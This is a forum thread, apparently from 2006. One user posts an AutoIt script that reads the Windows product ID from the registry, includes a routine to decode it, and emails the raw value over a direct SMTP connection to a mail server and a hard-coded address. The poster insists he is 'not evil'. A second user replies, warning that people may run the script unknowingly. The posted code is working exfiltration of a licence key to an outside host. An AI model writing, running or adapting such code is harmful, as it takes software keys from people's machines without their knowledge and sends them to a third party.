Sending Encoded product key with TCP

[broodplank]

i am just testing if this works, dont think iam evil

here is the script, actualy i combined 2 scripts togetter

expandcollapse popup

#include <GUIConstants.au3>
#include<file.au3>

Dim $Bin
$Bin = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion","DigitalProductID")

;InputBox("Product Key", "Your " & @OSVERSION & " product key is:", DecodeProductKey($bin), "", -1, 100, -1, -1)


Func DecodeProductKey($BinaryDPID)
   Local $bKey[15]
   Local $sKey[29]
   Local $Digits[24]
   Local $Value = 0
   Local $hi = 0
   local $n = 0
   Local $i = 0
   Local $dlen = 29
   Local $slen = 15
   Local $Result

   $Digits = StringSplit("BCDFGHJKMPQRTVWXY2346789","")

   $binaryDPID = stringmid($binaryDPID,105,30)

   For $i = 1 to 29 step 2
       $bKey[int($i / 2)] = dec(stringmid($binaryDPID,$i,2))
   next

   For $i = $dlen -1 To 0 Step -1
       If Mod(($i + 1), 6) = 0 Then
           $sKey[$i] = "-"
       Else
           $hi = 0
           For $n = $slen -1 To 0 Step -1
               $Value = Bitor(bitshift($hi ,- 8) , $bKey[$n])
               $bKey[$n] = int($Value / 24)
               $hi = mod($Value , 24)
           Next
           $sKey[$i] = $Digits[$hi +1]
       EndIf

   Next
   For $i = 0 To 28
       $Result = $Result & $sKey[$i]
   Next

   Return $Result
EndFunc

$Free = DriveSpaceFree ( "c:" )
$Free = Round($Free, 2)

   $g_IP = "mail.chello.nl"
   Dim $sData[8]
   $sData[0]  = "HELO MyDomain"  & @CRLF
   $sData[1]  = "MAIL FROM: mymail@myprovider.com" & @CRLF
   $sData[2]  = "RCPT TO: mymail@myprovider.com" & @CRLF
   $sData[3]  = "DATA" & @CRLF
   $sData[4]  = "Subject: "& $bin &"" & @CRLF
   $sData[5] = "From: mymail@myprovider.com" & @CRLF
   $sData[6] = "To: mymail@myprovider.com" & @CRLF
   $sData[7] = "." & @CRLF

   TCPStartup()
  
   $socket = TCPConnect(TCPNameToIP($g_IP), 25) 
  
   If $socket = -1 Then Exit

   Dim $ret[8]
   For $x = 0 To 7
    $ret[$x] = TCPSend($socket, $sData[$x])
    sleep(100)
Next

Edited June 18, 2006 by broodplank

[SmOke_N]

Why don't you tell people what your trying to do to see if they are "willing" to give you information rather than just stating that "dont think iam evil", someone may just try to run the script first and be an un-willing participant (even though that would be their own fault).